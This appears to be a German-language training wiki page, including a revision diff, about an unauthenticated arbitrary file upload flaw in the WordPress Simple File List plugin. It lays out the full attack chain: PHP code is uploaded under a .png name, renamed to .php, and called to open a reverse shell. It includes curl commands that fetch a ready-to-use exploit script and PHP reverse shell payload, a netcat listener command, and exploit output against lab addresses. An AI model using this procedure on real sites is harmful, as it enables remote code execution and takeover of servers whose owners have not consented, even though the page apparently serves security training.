Unauthenticated Arbitrary File Upload: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(7 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Arbitrary file upload in Simple File List plugin for WordPress=
 
=Arbitrary file upload in Simple File List plugin for WordPress=
==Schachstelle==
+
==Schwachstelle==
 
*Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
 
*Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
 
*Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
 
*Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
 
*Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
 
*Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
 
*Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.
 
*Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.
 +
 
==Ablauf==
 
==Ablauf==
{{#drawio:arbitrary}}  
+
{{#drawio:arbitrary}}
 +
#Hochladen der Datei mit der png Endung
 +
#Verschieben der Datei in eine Datei mit der Endung php
 +
#Öffnen eines Ports auf dem Angreifer
 +
#Aufruf der Datei mit der Endung php
 +
#Connect zum Angreifer und Erhalt eine Reverse Shell
 +
 
 
==Python3 Script zum Payload Hochladen==
 
==Python3 Script zum Payload Hochladen==
 
*Das Skript kann unverändert übernommen werden.
 
*Das Skript kann unverändert übernommen werden.
 
*[[python3-scipt-payload|Python3 Script]]
 
*[[python3-scipt-payload|Python3 Script]]
*curl https://xinux.net/images/d/d6/Payload.txt -o payload.txt
+
*curl https://xinux.net/images/d/db/Script.py -o script.py
 +
*chmod +x script.py
  
 
==PHP Reverse Shell==
 
==PHP Reverse Shell==
 
*Die IP und eventuell der Port müssen angepasst werden.
 
*Die IP und eventuell der Port müssen angepasst werden.
 
*[[PHP-Reverse-Shell-Script|payload.txt]]
 
*[[PHP-Reverse-Shell-Script|payload.txt]]
*curl https://xinux.net/images/d/db/Script.py -O script.py
+
*[[Datei:Payload.txt]]
*chmod +x script.py
+
*curl https://xinux.net/images/d/d6/Payload.txt -o payload.txt
  
 
==Angreifer==
 
==Angreifer==
Zeile 22: Zeile 30:
  
 
==Usage==
 
==Usage==
*python3 script.py http://10.0.10.109
+
*python3 script.py http://10.0.10.104
 
<pre>
 
<pre>
 
[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
 
[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
Zeile 30: Zeile 38:
 
[*] Confirmning ..
 
[*] Confirmning ..
 
</pre>
 
</pre>
 +
 +
=Aufruf=
 +
*http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
  
 
=Link=
 
=Link=
 
https://wpscan.com/vulnerability/10132
 
https://wpscan.com/vulnerability/10132

Aktuelle Version vom 20. August 2026, 06:19 Uhr

Arbitrary file upload in Simple File List plugin for WordPress

Schwachstelle

  • Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
  • Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
  • Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
  • Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.

Ablauf

  1. Hochladen der Datei mit der png Endung
  2. Verschieben der Datei in eine Datei mit der Endung php
  3. Öffnen eines Ports auf dem Angreifer
  4. Aufruf der Datei mit der Endung php
  5. Connect zum Angreifer und Erhalt eine Reverse Shell

Python3 Script zum Payload Hochladen

PHP Reverse Shell

Angreifer

  • netcat -lp 9999

Usage

[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
[+] Exploit seem to work.
[*] Confirmning ..

Aufruf

Link

https://wpscan.com/vulnerability/10132